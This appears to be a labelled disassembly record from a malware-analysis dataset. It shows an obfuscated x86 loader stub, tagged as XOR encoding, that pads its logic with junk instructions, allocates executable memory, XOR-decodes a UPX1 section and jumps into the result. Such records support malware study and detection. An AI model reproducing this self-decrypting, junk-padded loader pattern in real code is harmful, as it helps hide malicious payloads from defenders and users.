Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x28e474c5
add eax, 0x6707a395
mov edi, eax
add eax, 1
popal
and edi, eax
not eax
mov eax, 0
mov esi, ecx
dec edi
add edi, 0x94877fbe
and edi, edi
mov edx, esi
add edi, 1
mov edi, ebx
mov ecx, edx
mov ebx, 0x60317804
mov edi, ebx
dec ebx
inc eax
mov ebx, edi
and edi, edi
cmp eax, 0x100ac12
jne 0xa789ca
add ebx, edi
or edi, edi
add edi, ebx
mov edi, 0xa2e1ae42
or eax, eax
mov eax, 0xb72e9b5c
mov edi, 0xa78796
sub esi, 1
sub edx, eax
mov ebx, 0xa7898a
or esi, esi
or edx, eax
sub eax, 0x34c0bb9d
mov ecx, dword [edi]
mov eax, 0xec38ab68
sub edx, 0x9e103efd
mov eax, 0x3f83e43
and ecx, 0xff
dec eax
not eax
sub edx, 0xf4087d0b
xor dword [ebx], ecx
add esi, 0x8d2a55fb
sub esi, edx
mov eax, edx
inc ebx
mov eax, 0x2fd4817a
or eax, esi
inc edi
sub eax, 0xfc139007
or esi, edx
cmp ebx, entry0
jl 0xa78a28
mov esi, edx
mov edx, 0xb23744d5
sub eax, edx
inc esi
and esi, eax
add esi, esi
and edi, ebx
add edi, 1
mov ecx, 0xa7898e
inc ebx
add ebx, 0xfc9b49ae
mov esi, 0x68c3f905
mov ecx, dword [ecx]
add ebx, esi
sub edx, 1
mov ecx, dword [ecx]
sub edx, 0x2fb0338b
or edi, edi
push ecx
add esi, 0x65c77c7c
inc edi
mov ecx, 0xa7898a
mov edx, 0x91b5a553
mov esi, 0x4a9d9c08
mov ecx, dword [ecx]
add esi, 0xe23aa701
add edx, ebx
add edi, 0x7f72f41f
mov ecx, dword [ecx]
and esi, esi
sub edx, esi
push 0xa78992
add edi, 0x32612864
add edx, 0xa1c22338
mov ebx, 0xfa1aea3a
call ecx
mov esi, edx
and edi, ebx
pop ecx
inc edx
dec esi
dec edi
push 0xa7899f
inc edi
sub edx, edi
and esi, esi
push eax
mov edi, esi
sub edx, 0x1f32967b
sub edi, 0x5fd98288
call ecx
mov esi, edx
mov edx, 0xea43b9aa
push 0x40
mov edx, 0xbd4bdf6
or edi, esi
push 0x3000
and ebx, ebx
dec edi
mov esi, edi
sub esp, 4
mov dword [esp], 0x20000747
or edx, edx
or edx, esi
sub ebx, 0x83230a89
push 0
not edi
sub edx, edi
dec esi
call eax
add esi, 0xaafe6fd2
mov edi, esi
add eax, 0x200006ca
not esi
mov edx, 0x8e87cc11
mov ecx, 0x1655bb14
not ebx
and edi, ebx
add edi, 0xd156ee87
mov dword [eax], ecx
or edx, edx
dec edx
mov ecx, dword [eax]
sub edx, 0xf11df175
not esi
inc ebx
cmp ecx, 0x1655bb14
je 0xa78b95
mov ecx, 0
mov bl, byte [ecx]
mov ebx, 0xfb08fcaa
and esi, ebx
add ebx, 0x6d065a83
mov edi, 0x17d5b233
add edi, edi
mov edi, eax
and edi, eax
mov esi, section.UPX1
mov edi, eax
add eax, 0xde492ccb
add eax, 0xa6a619b1
mov edx, 0xa78795
not edi
mov edi, 0x32399c54
mov ecx, 0
dec eax
add eax, eax
inc eax
mov ebx, 0xa78796
or edi, edi
and edi, edi
sub edi, eax
lea ebx, [ecx + ebx]
or edi, eax
mov eax, 0xe0c8aa06
mov edi, eax
mov ebx, dword [ebx]
mov eax, edi
or eax, edi
not eax
and ebx, 0xff
mov edi, 0x20b5f36f
dec edi
or edi, edi
add ecx, 1
mov eax, edi
mov eax, edi
sub eax, edi
cmp ecx, 0x1f4
jne 0xa78c1b
mov ecx, 0
not edi
and eax, eax
or eax, edi
not eax
and eax, edi
xor dword [esi], ebx
inc eax
dec edi
dec edi
add esi, 2
add eax, 0xa9dd9fd4
or eax, edi
and eax, eax
cmp esi, edx
jl 0xa78bd5
sub eax, 1
mov eax, edi
sub eax, edi
add eax, 0xd641b937
mov ecx, section.UPX1
add eax, 0xc2c1b2ff
inc edi
add eax, 0xbc78aac3
mov ebx, section.UPX1
sub eax, edi
mov edi, eax
mov eax, edi
mov esi, 0xa78795
sub edi, 0x80d2b7bf
sub edi, eax
mov edx, 0
add edi, edi
sub eax, edi
add eax, eax
mov dl, byte [ebx]
and eax, eax
not eax
add edi, 0x10c2f0a6
mov byte [ecx], dl
mov edi, 0x8a747276
sub edi, 1
inc ecx
dec edi
add eax, edi
add ebx, 2
mov edi, eax
mov edi, eax
or eax, edi
cmp ebx, esi
jle 0xa78c87
sub edi, 0x6fb74f6a
add eax, edi
sub eax, 0x31de3801
sub edi, 0x6781e3ee
mov eax, 0x5767f4d3
push 0x8dc6a0
mov eax, 0xc4644819
mov edi, eax
inc edi
ret